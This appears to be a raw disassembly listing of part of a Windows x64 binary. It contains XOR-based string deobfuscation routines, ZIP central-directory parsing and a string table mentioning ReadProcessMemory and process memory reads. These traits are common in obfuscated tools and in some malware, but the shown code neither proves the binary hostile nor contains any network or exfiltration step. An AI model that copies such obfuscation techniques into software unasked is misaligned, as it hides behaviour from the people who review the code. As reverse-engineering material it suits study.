mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rcx, qword [rsp + 0x9b0]
movabs rax, 0x6a8c1bcc8bee72b5
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rdx, qword [rsp + 0x9b0]
call fcn.1400954c0
mov ecx, 0x679f5cc8
xor ecx, dword [rax]
mov dword [rsp + 0x5ec], ecx
lea rax, [rsp + 0x5ec]
mov qword [rsp + 0x8f0], rax
mov qword [rsp + 0x8f8], 4
lea rax, [0x1401b1654]
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rcx, qword [rsp + 0x9b0]
movabs rax, 0xe0b8f1d67b720a17
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rdx, qword [rsp + 0x9b0]
call fcn.140095100
mov r14, qword [rax]
mov rbx, qword [rax + 8]
mov rdi, qword [rax + 0x10]
mov esi, dword [rax + 0x18]
movzx ebp, word [rax + 0x1c]
movzx r15d, byte [rax + 0x1e]
movzx eax, byte [0x140254141]
mov edx, 0x1f
xor ecx, ecx
call fcn.14008bd10
test rax, rax
je case.0x140008008.0
shl r15d, 0x10
or ebp, r15d
mov ecx, ebp
shr ecx, 0x10
xor cl, 0x55
mov edx, ebp
xor dl, 0x4d
shr ebp, 8
xor bpl, 0x6e
movzx edx, dl
movzx r8d, bpl
shl r8d, 8
or r8d, edx
xor esi, 0x6741ffb6
movabs rdx, 0xb016816bd24bd468
xor rdi, rdx
movabs rdx, 0x5374dd02ebd1ff5f
xor rbx, rdx
movabs rdx, 0x517f9999ec1a5d62
xor r14, rdx
mov qword [rax], r14
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov dword [rax + 0x18], esi
mov word [rax + 0x1c], r8w
mov byte [rax + 0x1e], cl
mov qword [rsp + 0x6d8], 0x1f
mov qword [rsp + 0x6e0], rax
mov qword [rsp + 0x6e8], 0x1f
lea rax, [0x1401b8363]
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rcx, qword [rsp + 0x9b0]
movabs rax, 0xfe37e6203a5f0c93
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rdx, qword [rsp + 0x9b0]
call fcn.1400955f0
movabs rcx, 0x8bf5cb1717ac79ba
xor rcx, qword [rax]
movabs rdx, 0xa6111159607179dc
xor rdx, qword [rax + 8]
mov r8d, 0x3741bc4
xor r8d, dword [rax + 0x10]
mov qword [rsp + 0x168], rcx
mov qword [rsp + 0x170], rdx
mov dword [rsp + 0x178], r8d
lea rax, [rsp + 0x168]
mov qword [rsp + 0x900], rax
mov qword [rsp + 0x908], 0x14
lea rax, [0x1401b1476]
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rcx, qword [rsp + 0x9b0]
movabs rax, 0xe3229138c7f2004c
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rdx, qword [rsp + 0x9b0]
call fcn.140095860
movabs rcx, 0x957e22504270a35d
xor rcx, qword [rax]
movabs rdx, 0x654bd06877b5538a
xor rdx, qword [rax + 8]
movabs r8, 0x3a458eeff79d26ab
xor r8, qword [rax + 0x10]
movzx eax, word [rax + 0x18]
mov r9d, eax
xor r9b, 0x43
shr eax, 8
xor al, 0x4f
movzx r9d, r9b
movzx eax, al
shl eax, 8
or eax, r9d
mov qword [rsp + 0x7e0], rcx
mov qword [rsp + 0x7e8], rdx
mov qword [rsp + 0x7f0], r8
mov word [rsp + 0x7f8], ax
lea rax, [rsp + 0x7e0]
mov qword [rsp + 0x6a0], rax
mov qword [rsp + 0x6a8], 0x1a
lea rax, [0x1401b1646]
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rcx, qword [rsp + 0x9b0]
movabs rax, 0x9a48e26712c0ea00
mov qword [rsp + 0x9b0], rax
lea rsi, [rsp + 0x9b0]
mov rdx, qword [rsp + 0x9b0]
call fcn.140094f10
movabs rcx, 0x47726a21378e10ca
xor rcx, qword [rax]
mov edx, 0x4cffa87a
xor edx, dword [rax + 8]
movzx eax, word [rax + 0xc]
mov r8d, eax
xor r8b, 0xc2
shr eax, 8
xor al, 0x24
movzx r8d, r8b
movzx eax, al
shl eax, 8
or eax, r8d
mov qword [rsp + 0x6c8], rcx
mov dword [rsp + 0x6d0], edx
mov word [rsp + 0x6d4], ax
lea rax, [rsp + 0x6c8]
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0xb8], 0xe
lea rax, [rsp + 0x900]
mov qword [rsp + 0x9b0], rax
lea rcx, [0x14008a3a0]
mov qword [rsp + 0x9b8], rcx
lea rax, [rsp + 0x6d8]
mov qword [rsp + 0x9c0], rax
lea rax, [0x140001e10]
mov qword [rsp + 0x9c8], rax
lea rax, [rsp + 0x6a0]
mov qword [rsp + 0x9d0], rax
mov qword [rsp + 0x9d8], rcx
lea rax, [rsp + 0x8f0]
mov qword [rsp + 0x9e0], rax
mov qword [rsp + 0x9e8], rcx
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x9f0], rax
mov qword [rsp + 0x9f8], rcx
lea rax, [0x1401b91e0]
mov qword [rsp + 0x1d8], rax
mov qword [rsp + 0x1e0], 5
mov qword [rsp + 0x1f8], 0
mov qword [rsp + 0x1e8], rsi
mov qword [rsp + 0x1f0], 5
mov qword [rsp + 0x4e8], 0
mov qword [rsp + 0x4f0], 1
mov qword [rsp + 0x4f8], 0
lea rdx, [0x1401b97c8]
lea rcx, [rsp + 0x4e8]
lea r8, [rsp + 0x1d8]
call fcn.14000da30
test al, al
jne case.0x140008008.0
mov r13, qword [rsp + 0x4e8]
mov rdi, qword [rsp + 0x4f0]
mov rbx, qword [rsp + 0x4f8]
lea rax, [0x1401b3278]
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rcx, qword [rsp + 0x9b0]
movabs rax, 0x8a3bba746111801a
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rdx, qword [rsp + 0x9b0]
call fcn.1400956b0
mov esi, dword [rax]
movzx ebp, word [rax + 4]
movzx r14d, byte [rax + 6]
movzx eax, byte [0x140254141]
mov edx, 7
xor ecx, ecx
call fcn.14008bd10
test rax, rax
je case.0x140008008.0
shl r14d, 0x10
or ebp, r14d
mov ecx, ebp
shr ecx, 0x10
xor cl, 0xa8
mov edx, ebp
xor dl, 0xe7
shr ebp, 8
xor bpl, 0xab
movzx edx, dl
movzx r8d, bpl
shl r8d, 8
or r8d, edx
xor esi, 0x22a839cf
mov dword [rax], esi
mov word [rax + 4], r8w
mov byte [rax + 6], cl
mov qword [rsp + 0x9b0], 7
mov qword [rsp + 0x9b8], rax
mov qword [rsp + 0x9c0], 7
mov byte [rsp + 0x9c8], 0
mov qword [rsp + 0x9d0], 0
mov qword [rsp + 0x9d8], 8
mov qword [rsp + 0x9e0], 0
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x9e8], rax
mov dword [rsp + 0xa08], 6
mov dword [rsp + 0xa18], 6
mov dword [rsp + 0xa28], 6
pxor xmm0, xmm0
movdqu xmmword [rsp + 0xa38], xmm0
movdqu xmmword [rsp + 0xa42], xmm0
movdqu xmmword [rsp + 0xa66], xmm0
movdqu xmmword [rsp + 0xa58], xmm0
mov dword [rsp + 0xa70], 0x8000000
lea rax, [0x1401b82f0]
mov qword [rsp + 0x1d8], rax
lea rax, [rsp + 0x1d8]
mov rcx, qword [rsp + 0x1d8]
movabs rax, 0x1a5f7639ef09afe9
mov qword [rsp + 0x1d8], rax
lea rax, [rsp + 0x1d8]
mov rdx, qword [rsp + 0x1d8]
call fcn.140095250
movzx ebp, word [rax]
movzx eax, byte [0x140254141]
mov edx, 2
xor ecx, ecx
call fcn.14008bd10
test rax, rax
je case.0x140008008.0
mov rsi, rax
lea r15, [rsp + 0x9d0]
mov eax, ebp
xor al, 0x9e
shr ebp, 8
xor bpl, 0xda
movzx ecx, bpl
shl ecx, 8
movzx eax, al
or eax, ecx
mov word [rsi], ax
mov rcx, r15
xor edx, edx
call fcn.140045da0
mov r14, qword [rsp + 0x9d8]
mov r12, qword [rsp + 0x9e0]
lea rax, [r12 + r12*4]
mov qword [r14 + rax*8], 0
mov qword [r14 + rax*8 + 8], 2
mov qword [r14 + rax*8 + 0x10], rsi
mov qword [r14 + rax*8 + 0x18], 2
mov byte [r14 + rax*8 + 0x20], 0
inc r12
mov qword [rsp + 0x9e0], r12
test rbx, rbx
je 0x14000a912
js case.0x140008008.0
movzx eax, byte [0x140254141]
xor ecx, ecx
mov rdx, rbx
call fcn.14008bd10
mov rsi, rax
test rax, rax
jne 0x14000a917
jmp case.0x140008008.0
mov esi, 1
mov rcx, rsi
mov rdx, rdi
mov r8, rbx
call sub.msvcrt.dll_memcpy
cmp r12, qword [rsp + 0x9d0]
jne 0x14000a94a
mov rcx, r15
mov rdx, r12
call fcn.140045da0
mov r14, qword [rsp + 0x9d8]
mov r12, qword [rsp + 0x9e0]
lea rax, [r12 + r12*4]
mov qword [r14 + rax*8], 0
mov qword [r14 + rax*8 + 8], rbx
mov qword [r14 + rax*8 + 0x10], rsi
mov qword [r14 + rax*8 + 0x18], rbx
mov byte [r14 + rax*8 + 0x20], 0
mov ecx, dword [rsp + 0x1d8]
mov edx, dword [rsp + 0x1db]
mov dword [r14 + rax*8 + 0x21], ecx
mov dword [r14 + rax*8 + 0x24], edx
inc r12
mov qword [rsp + 0x9e0], r12
test r13, r13
je 0x14000a9a4
mov rcx, qword [0x1402540f8]
xor edx, edx
mov r8, rdi
call sub.KERNEL32.dll_HeapFree
mov dword [rsp + 0x7e0], 0
lea rcx, [rsp + 0x1d8]
lea rdx, [rsp + 0x9b0]
lea r8, [rsp + 0x7e0]
call fcn.14008bd70
mov r15, qword [rsp + 0x1d8]
mov r14, qword [rsp + 0x1e8]
cmp r14, 2
jne 0x14000a9e7
mov r12, r15
jmp 0x14000aa21
mov r13, qword [rsp + 0x1e0]
mov r12, qword [rsp + 0x1f0]
mov rbx, qword [rsp + 0x200]
mov rdi, qword [rsp + 0x210]
cmp qword [rsp + 0x1f8], 0
sete bpl
cmp qword [rsp + 0x208], 0
sete sil
lea rax, [0x1401ad2d8]
mov qword [rsp + 0x1d8], rax
lea rax, [rsp + 0x1d8]
mov rcx, qword [rsp + 0x1d8]
movabs rax, 0xc5944ff1de829d4f
mov qword [rsp + 0x1d8], rax
lea rax, [rsp + 0x1d8]
mov rdx, qword [rsp + 0x1d8]
call fcn.140094fe0
mov rcx, qword [rax]
mov rcx, qword [rax + 8]
mov ecx, dword [rax + 0x10]
movzx ecx, byte [rax + 0x16]
movzx eax, word [rax + 0x14]
cmp r14d, 2
je case.0x140008008.0
mov rcx, r15
call sub.KERNEL32.dll_CloseHandle
mov rcx, r13
call sub.KERNEL32.dll_CloseHandle
test r14, r14
je 0x14000aaa0
mov rcx, r12
call sub.KERNEL32.dll_CloseHandle
test bpl, 1
mov r14, qword [rsp + 0x790]
mov r15, qword [rsp + 0x788]
mov r13, qword [rsp + 0x68]
jne 0x14000aac3
mov rcx, rbx
call sub.KERNEL32.dll_CloseHandle
test sil, 1
mov rsi, qword [rsp + 0x798]
mov rbx, qword [rsp + 0x658]
mov r12, qword [rsp + 0x58]
jne 0x14000aae6
mov rcx, rdi
call sub.KERNEL32.dll_CloseHandle
lea rcx, [rsp + 0x9b0]
call fcn.140001450
cmp qword [rsp + 0x6d8], 0
je 0x14000ab14
mov r8, qword [rsp + 0x6e0]
mov rcx, qword [0x1402540f8]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
mov rcx, qword [0x1402540f8]
xor edx, edx
mov r8, r13
call sub.KERNEL32.dll_HeapFree
mov rcx, qword [0x1402540f8]
xor edx, edx
mov r8, r12
call sub.KERNEL32.dll_HeapFree
cmp qword [rsp + 0x778], 0
je 0x14000ab57
mov rcx, qword [0x1402540f8]
xor edx, edx
mov r8, qword [rsp + 0x4b0]
call sub.KERNEL32.dll_HeapFree
cmp qword [rsp + 0x6b0], 0
je 0x14000ab78
mov r8, qword [rsp + 0x6b8]
mov rcx, qword [0x1402540f8]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
mov rcx, qword [0x1402540f8]
xor edx, edx
mov r8, qword [rsp + 0x698]
call sub.KERNEL32.dll_HeapFree
mov rcx, qword [0x1402540f8]
xor edx, edx
mov r8, r14
call sub.KERNEL32.dll_HeapFree
mov rcx, qword [0x1402540f8]
xor edx, edx
mov r8, r15
call sub.KERNEL32.dll_HeapFree
mov rcx, qword [0x1402540f8]
xor edx, edx
mov r8, qword [rsp + 0x638]
call sub.KERNEL32.dll_HeapFree
mov rcx, qword [0x1402540f8]
xor edx, edx
mov r8, rbx
call sub.KERNEL32.dll_HeapFree
mov rcx, qword [0x1402540f8]
xor edx, edx
mov r8, qword [rsp + 0x690]
call sub.KERNEL32.dll_HeapFree
mov rcx, qword [0x1402540f8]
xor edx, edx
mov r8, qword [rsp + 0x688]
call sub.KERNEL32.dll_HeapFree
mov rcx, qword [0x1402540f8]
xor edx, edx
mov r8, qword [rsp + 0x680]
call sub.KERNEL32.dll_HeapFree
mov rcx, qword [0x1402540f8]
xor edx, edx
mov r8, qword [rsp + 0x678]
call sub.KERNEL32.dll_HeapFree
mov rcx, qword [0x1402540f8]
xor edx, edx
mov r8, qword [rsp + 0x670]
call sub.KERNEL32.dll_HeapFree
mov rcx, qword [0x1402540f8]
xor edx, edx
mov r8, qword [rsp + 0x668]
call sub.KERNEL32.dll_HeapFree
mov rcx, qword [0x1402540f8]
xor edx, edx
mov r8, qword [rsp + 0x660]
call sub.KERNEL32.dll_HeapFree
mov rcx, qword [0x1402540f8]
xor edx, edx
mov r8, qword [rsp + 0x650]
call sub.KERNEL32.dll_HeapFree
mov rcx, qword [0x1402540f8]
xor edx, edx
mov r8, qword [rsp + 0x648]
call sub.KERNEL32.dll_HeapFree
mov rcx, qword [0x1402540f8]
xor edx, edx
mov r8, qword [rsp + 0x640]
call sub.KERNEL32.dll_HeapFree
mov rcx, qword [0x1402540f8]
xor edx, edx
mov r8, qword [rsp + 0x630]
call sub.KERNEL32.dll_HeapFree
mov rcx, qword [0x1402540f8]
xor edx, edx
mov r8, qword [rsp + 0x628]
call sub.KERNEL32.dll_HeapFree
mov rcx, qword [0x1402540f8]
xor edx, edx
mov r8, qword [rsp + 0x620]
call sub.KERNEL32.dll_HeapFree
mov rcx, qword [0x1402540f8]
xor edx, edx
mov r8, qword [rsp + 0x780]
call sub.KERNEL32.dll_HeapFree
mov rcx, qword [0x1402540f8]
xor edx, edx
mov r8, rsi
call sub.KERNEL32.dll_HeapFree
movaps xmm6, xmmword [rsp + 0x109b0]
movaps xmm7, xmmword [rsp + 0x109c0]
movaps xmm8, xmmword [rsp + 0x109d0]
add rsp, 0x109e8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rsi, qword [rsp + 0x1e0]
lea rcx, [rsp + 0x9b0]
lea rdx, [rsp + 0xb0]
call fcn.1400987b0
mov rcx, qword [rsp + 0x9b0]
movabs rax, 0x8000000000000001
lea rdx, [rax - 1]
cmp rcx, rdx
jne 0x14000ad9e
mov rsi, qword [rsp + 0x9b8]
mov r14, qword [rsp + 0x9c0]
mov r15, qword [rsp + 0x9c8]
jmp 0x1400067d2
mov qword [rsp + 0x58], rsi
mov r12, qword [rsp + 0x9b8]
mov rax, qword [rsp + 0x9c0]
mov r9, qword [rsp + 0x9c8]
mov rbx, qword [rsp + 0x9d0]
mov r8, r9
shr r8, 0x20
mov ebp, ebx
shr ebp, 0x10
mov r13, rbx
shr r13, 0x20
mov rsi, rbx
shr rsi, 0x30
lea r14, str.Support_for_multi_disk_files_is_not_implementedFile_cannot_contain_ZIP64_central_directory_endInvalid_central_directory_size_or_offsetPassword_required_to_decrypt_fileCould_not_seek_to_start_of_central_directoryUnable_to_read_process_memory_informationReadProcessMemory_returned_unexpected_number_of_bytes_readUnable_to_read_process_dataTotal_CPUIntel_x86MIPSRISC_AlphaPPCSHXARMIntel_Itanium_based_x64RISC_Alpha_x64MSIL_Intel_or_AMD__x64Intel_Itanium_based_x86unknownARM_x64CPU
mov r15d, 0x2f
cmp bx, 0xffff
je 0x14000ae26
cmp bp, 0xffff
je 0x14000ae26
cmp r13w, 0xffff
je 0x14000ae26
cmp si, 0xffff
je 0x14000ae26
cmp r9d, 0xffffffff
je 0x14000ae26
cmp r8d, 0xffffffff
je 0x14000ae26
cmp bx, bp
je 0x14000ae26
lea rbp, [rsp + 0x4e8]
mov esi, 2
jmp 0x14000bfb5
mov qword [rsp + 0x68], r9
mov qword [rsp + 0xc8], r8
mov qword [rsp + 0x100], rdx
mov qword [rsp + 0x70], rcx
mov rdx, 0xffffffffffffffd6
mov qword [rsp + 0x128], rax
sub rdx, rax
mov qword [rsp + 0x9b0], 0
lea r8, [rsp + 0x9b0]
mov rcx, rdi
mov r9d, 2
call sub.KERNEL32.dll_SetFilePointerEx
test eax, eax
je 0x14000aeca
mov dword [rsp + 0x9b0], 0
lea rcx, [rsp + 0xb0]
lea rdx, [rsp + 0x9b0]
mov r8d, 4
call fcn.14009a840
test rax, rax
je 0x14000aed4
mov qword [rsp + 0x88], r12
mov rcx, qword [rsp + 0x70]
xor esi, esi
mov r14, rax
lea rbp, [rsp + 0x4e8]
mov r12, qword [rsp + 0x88]
jmp 0x14000bfb5
call sub.KERNEL32.dll_GetLastError
jmp 0x14000aff9
cmp dword [rsp + 0x9b0], 0x7064b50
jne 0x14000aff9
mov qword [rsp + 0x88], r12
mov dword [rsp + 0x9b0], 0
lea rcx, [rsp + 0xb0]
lea rdx, [rsp + 0x9b0]
mov r8d, 4
call fcn.14009a840
test rax, rax
jne 0x14000aeab
mov r12d, dword [rsp + 0x9b0]
mov qword [rsp + 0x9b0], 0
lea rcx, [rsp + 0xb0]
lea rdx, [rsp + 0x9b0]
mov r8d, 8
call fcn.14009a840
test rax, rax
jne 0x14000aeab
mov rdi, qword [rsp + 0x9b0]
mov dword [rsp + 0x9b0], 0
lea rcx, [rsp + 0xb0]
lea rdx, [rsp + 0x9b0]
mov r8d, 4
call fcn.14009a840
test rax, rax
mov rcx, qword [rsp + 0x70]
jne 0x14000aeb0
cmp bx, 0xffff
je 0x14000c120
cmp bp, 0xffff
je 0x14000c120
cmp r13w, 0xffff
je 0x14000c120
cmp si, 0xffff
je 0x14000c120
cmp dword [rsp + 0x68], 0xffffffff
je 0x14000c120
cmp dword [rsp + 0xc8], 0xffffffff
je 0x14000c120
movzx eax, bx
cmp r12d, eax
je 0x14000c120
lea rbp, [rsp + 0x4e8]
mov r12, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x70]
mov esi, 2
jmp 0x14000bfb5
mov eax, dword [rsp + 0x68]
mov esi, 1
lea r14, [0x1401d6b4e]
mov r15d, 0x28
mov rdx, qword [rsp + 0x58]
mov rdi, rdx
sub rdi, rax
mov rcx, qword [rsp + 0x70]
jae 0x14000b02e
lea rbp, [rsp + 0x4e8]
jmp 0x14000bfb5
mov rax, rdi
sub rax, qword [rsp + 0xc8]
lea rbp, [rsp + 0x4e8]
jb 0x14000bfb5
movzx ecx, r13w
mov qword [rsp + 0xc8], rcx
xor r14d, r14d
cmp rcx, rdx
cmovbe r14, rcx
test r14, r14
mov qword [rsp + 0x88], r12
mov qword [rsp + 0x160], rax
je 0x14000b0a4
movabs rax, 0xba2e8ba2e8ba2e
cmp r14, rax
ja case.0x140008008.0
imul rdx, r14, 0xb0
movzx eax, byte [0x140254141]
xor ecx, ecx
call fcn.14008bd10
test rax, rax
jne 0x14000b0a9
jmp case.0x140008008.0
mov eax, 8
mov qword [rsp + 0x4d0], r14
mov qword [rsp + 0x4d8], rax
mov qword [rsp + 0x4e0], 0
xor ecx, ecx
call fcn.140091ae0
test rax, rax
je case.0x140008008.0
movdqu xmm6, xmmword [rax]
inc qword [rax]
test r14, r14
je 0x14000b0fa
cmp r14, 7
ja 0x14000b10c
xor eax, eax
cmp r14, 4
setae al
lea rsi, [rax*4 + 4]
jmp 0x14000b143
xor r12d, r12d
lea r15, [0x1401fd120]
xor r13d, r13d
jmp 0x14000b1b8
shl r14, 3
movabs rcx, 0x2492492492492493
mov rax, r14
mul rcx
sub r14, rdx
shr r14, 1
add r14, rdx
shr r14, 2
dec r14
bsr rcx, r14
not ecx
mov rsi, 0xffffffffffffffff
shr rsi, cl
inc rsi
mov rbx, rsi
shl rbx, 5
lea r14, [rsi + 0x10]
mov rdx, rbx
add rdx, r14
jb case.0x140008008.0
movabs rax, 0x8000000000000001
add rax, 0xffffffffffffffef
cmp rdx, rax
ja case.0x140008008.0
movzx eax, byte [0x140254141]
xor ecx, ecx
call fcn.14008bd10
test rax, rax
je case.0x140008008.0
mov r15, rax
lea r13, [rsi - 1]
mov rax, rsi
shr rax, 3
mov r12, rsi
and r12, 0xfffffffffffffff8
sub r12, rax
cmp rsi, 9
cmovb r12, r13
add r15, rbx
mov rcx, r15
mov dl, 0xff
mov r8, r14
call sub.msvcrt.dll_memset
mov qword [rsp + 0x5f0], r15
mov qword [rsp + 0x5f8], r13
mov qword [rsp + 0x600], r12
mov qword [rsp + 0x608], 0
movdqu xmmword [rsp + 0x610], xmm6
mov qword [rsp + 0x9b0], 0
mov rcx, qword [rsp + 0xb0]
lea r8, [rsp + 0x9b0]
mov rdx, rdi
xor r9d, r9d
call sub.KERNEL32.dll_SetFilePointerEx
test eax, eax
je 0x14000be80
cmp qword [rsp + 0xc8], 0
je 0x14000bfd4
lea rsi, [rsp + 0x9b0]
lea r14, [0x1401d6749]
pcmpeqd xmm6, xmm6
xor eax, eax
mov qword [rsp + 0x158], rax
mov qword [rsp + 0x9b0], 0
mov rcx, qword [rsp + 0xb0]
xor edx, edx
mov r8, rsi
mov r9d, 1
call sub.KERNEL32.dll_SetFilePointerEx
test eax, eax
je 0x14000c136
mov rax, qword [rsp + 0x9b0]
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x9b0], 0
mov r8d, 4
lea rcx, [rsp + 0xb0]
mov rdx, rsi
call fcn.14009a840
test rax, rax
jne 0x14000c14b
cmp dword [rsp + 0x9b0], 0x2014b50
jne 0x14000c15a
mov word [rsp + 0x9b0], 0
mov r8d, 2
lea rdi, [rsp + 0xb0]
mov rcx, rdi
lea rsi, [rsp + 0x9b0]
mov rdx, rsi
call fcn.14009a840
test rax, rax
jne 0x14000be9e
movzx eax, word [rsp + 0x9b0]
mov dword [rsp + 0xe0], eax
mov word [rsp + 0x9b0], 0
mov r8d, 2
mov rcx, rdi
mov rdx, rsi
call fcn.14009a840
test rax, rax
jne 0x14000be9e
mov word [rsp + 0x9b0], 0
mov r8d, 2
mov rcx, rdi
mov rdx, rsi
call fcn.14009a840
test rax, rax
jne 0x14000be9e
movzx eax, word [rsp + 0x9b0]
mov dword [rsp + 0xc0], eax
mov word [rsp + 0x9b0], 0
mov r8d, 2
mov rcx, rdi
mov rdx, rsi
call fcn.14009a840
test rax, rax
jne 0x14000be9e
movzx eax, word [rsp + 0x9b0]
mov word [rsp + 0xd8], ax
mov word [rsp + 0x9b0], 0
mov r8d, 2
mov rcx, rdi
mov rdx, rsi
call fcn.14009a840
test rax, rax
jne 0x14000be9e
movzx eax, word [rsp + 0x9b0]
mov dword [rsp + 0xe8], eax
mov word [rsp + 0x9b0], 0
mov r8d, 2
mov rcx, rdi
mov rdx, rsi
call fcn.14009a840
test rax, rax
jne 0x14000be9e
movzx ebx, word [rsp + 0x9b0]
mov dword [rsp + 0x9b0], 0
mov r8d, 4
mov rcx, rdi
mov rdx, rsi
call fcn.14009a840
test rax, rax
jne 0x14000be9e
mov eax, dword [rsp + 0x9b0]
mov dword [rsp + 0x120], eax
mov dword [rsp + 0x9b0], 0
mov r8d, 4
mov rcx, rdi
mov rdx, rsi
call fcn.14009a840
test rax, rax
jne 0x14000be9e
mov eax, dword [rsp + 0x9b0]
mov qword [rsp + 0x190], rax
mov dword [rsp + 0x9b0], 0
mov r8d, 4
mov rcx, rdi
mov rdx, rsi
call fcn.14009a840
test rax, rax
jne 0x14000be9e
mov eax, dword [rsp + 0x9b0]
mov qword [rsp + 0x188], rax
mov word [rsp + 0x9b0], 0
mov r8d, 2
mov rcx, rdi
mov rdx, rsi
call fcn.14009a840
test rax, rax
jne 0x14000be9e
movzx r12d, word [rsp + 0x9b0]
mov word [rsp + 0x9b0], 0
mov r8d, 2
mov rcx, rdi
mov rdx, rsi
call fcn.14009a840
test rax, rax
jne 0x14000be9e
movzx ebp, word [rsp + 0x9b0]
mov word [rsp + 0x9b0], 0
mov r8d, 2
mov rcx, rdi
mov rdx, rsi
call fcn.14009a840
test rax, rax
jne 0x14000be9e
movzx r13d, word [rsp + 0x9b0]
mov word [rsp + 0x9b0], 0
mov r8d, 2
mov rcx, rdi
mov rdx, rsi
call fcn.14009a840
test rax, rax
jne 0x14000be9e
mov word [rsp + 0x9b0], 0
mov r8d, 2
mov rcx, rdi
mov rdx, rsi
call fcn.14009a840
test rax, rax
jne 0x14000be9e
mov dword [rsp + 0x9b0], 0
mov r8d, 4
mov rcx, rdi
mov rdx, rsi
call fcn.14009a840
test rax, rax
jne 0x14000be9e
mov eax, dword [rsp + 0x9b0]
mov dword [rsp + 0xac], eax
mov dword [rsp + 0x9b0], 0
mov r8d, 4
mov rcx, rdi
mov rdx, rsi
call fcn.14009a840
test rax, rax
jne 0x14000be9e
mov eax, dword [rsp + 0x9b0]
mov qword [rsp + 0x180], rax
mov rcx, r12
mov dl, 1
call fcn.140098230
mov qword [rsp + 0x98], rax
lea rcx, [rsp + 0xb0]
mov qword [rsp + 0x58], rdx
mov r8, r12
call fcn.14009a840
test rax, rax
je 0x14000b5ec
mov rdi, rax
xor eax, eax
mov qword [rsp + 0x68], rax
jmp 0x14000ba5e
mov rcx, rbp
mov dl, 1
call fcn.140098230
mov qword [rsp + 0x150], rax
lea rcx, [rsp + 0xb0]
mov qword [rsp + 0x148], rdx
mov r8, rbp
call fcn.14009a840
test rax, rax
je 0x14000b62a
mov rdi, rax
xor eax, eax
mov qword [rsp + 0x68], rax
jmp 0x14000ba3d
mov rcx, r13
mov dl, 1
call fcn.140098230
mov qword [rsp + 0x118], rax
lea rcx, [rsp + 0xb0]
mov qword [rsp + 0xf8], rdx
mov r8, r13
call fcn.14009a840
mov qword [rsp + 0x140], rax
test rax, rax
je 0x14000b675
mov rdi, qword [rsp + 0x140]
xor eax, eax
mov qword [rsp + 0x68], rax
jmp 0x14000ba0d
test dword [rsp + 0xc0], 0x800
jne 0x14000b6e4
lea rsi, [rsp + 0x9b0]
mov rcx, rsi
mov rdx, qword [rsp + 0x58]
mov r8, r12
call fcn.140097af0
lea rcx, [rsp + 0x168]
mov rdx, rsi
call fcn.1400e9bf0
mov rax, qword [rsp + 0x118]
mov qword [rsp + 0x9b0], rax
mov rax, qword [rsp + 0xf8]
mov qword [rsp + 0x9b8], rax
mov qword [rsp + 0x9c0], r13
lea rcx, [rsp + 0x6d8]
mov rdx, rsi
call fcn.1400e9bf0
jmp 0x14000b72f
lea rsi, [rsp + 0x9b0]
mov rcx, rsi
mov rdx, qword [rsp + 0x58]
mov r8, r12
call fcn.14000c6b0
lea rcx, [rsp + 0x168]
mov rdx, rsi
call fcn.1400a3ca0
mov rcx, rsi
mov rdx, qword [rsp + 0xf8]
mov r8, r13
call fcn.14000c6b0
lea rcx, [rsp + 0x6d8]
mov rdx, rsi
call fcn.1400a3ca0
movzx edx, word [rsp + 0xd8]
mov eax, dword [rsp + 0xe0]
shr eax, 8
cmp al, 3
sete cl
mov r8b, 4
sub r8b, cl
test al, al
movzx ecx, r8b
mov eax, 0
cmove ecx, eax
mov ax, 5
cmp edx, 0xb
jle 0x14000b778
cmp edx, 0xc
je 0x14000b787
cmp edx, 0x5d
je 0x14000b78d
cmp edx, 0x63
jne 0x14000b795
mov ax, 3
jmp 0x14000b795
test edx, edx
je 0x14000b793
cmp edx, 8
jne 0x14000b795
mov ax, 1
jmp 0x14000b795
mov ax, 2
jmp 0x14000b795
mov ax, 4
jmp 0x14000b795
xor eax, eax
mov rdx, qword [rsp + 0x98]
mov qword [rsp + 0x9c8], rdx
mov rdx, qword [rsp + 0x58]
mov qword [rsp + 0x9d0], rdx
mov qword [rsp + 0x9d8], r12
mov rdx, qword [rsp + 0x150]
mov qword [rsp + 0x9e0], rdx
mov rdx, qword [rsp + 0x148]
mov qword [rsp + 0x9e8], rdx
mov qword [rsp + 0x9f0], rbp
mov byte [rsp + 0xa59], cl
mov ecx, dword [rsp + 0xe0]
mov byte [rsp + 0xa5a], cl
mov edx, dword [rsp + 0xc0]
mov ecx, edx
and cl, 1
mov byte [rsp + 0xa56], cl
mov ecx, edx
shr cl, 3
and cl, 1
mov byte [rsp + 0xa57], cl
mov word [rsp + 0xa48], ax
movzx eax, bx
movzx ecx, word [rsp + 0xd8]
mov word [rsp + 0xa4a], cx
mov ecx, eax
shr ecx, 9
add ecx, 0x7bc
mov dword [rsp + 0xa10], 0
mov word [rsp + 0xa18], cx
shr ebx, 5
and bl, 0xf
mov byte [rsp + 0xa1a], bl
mov edx, dword [rsp + 0xe8]
movzx ecx, dx
and al, 0x1f
mov byte [rsp + 0xa1b], al
mov eax, ecx
shr eax, 0xb
mov byte [rsp + 0xa1c], al
mov eax, edx
shr eax, 5
and al, 0x3f
mov byte [rsp + 0xa1d], al
add cl, cl
and cl, 0x3e
mov byte [rsp + 0xa1e], cl
mov eax, dword [rsp + 0x120]
mov dword [rsp + 0xa4c], eax
mov rax, qword [rsp + 0x190]
mov qword [rsp + 0xa20], rax
mov rax, qword [rsp + 0x188]
mov qword [rsp + 0xa28], rax
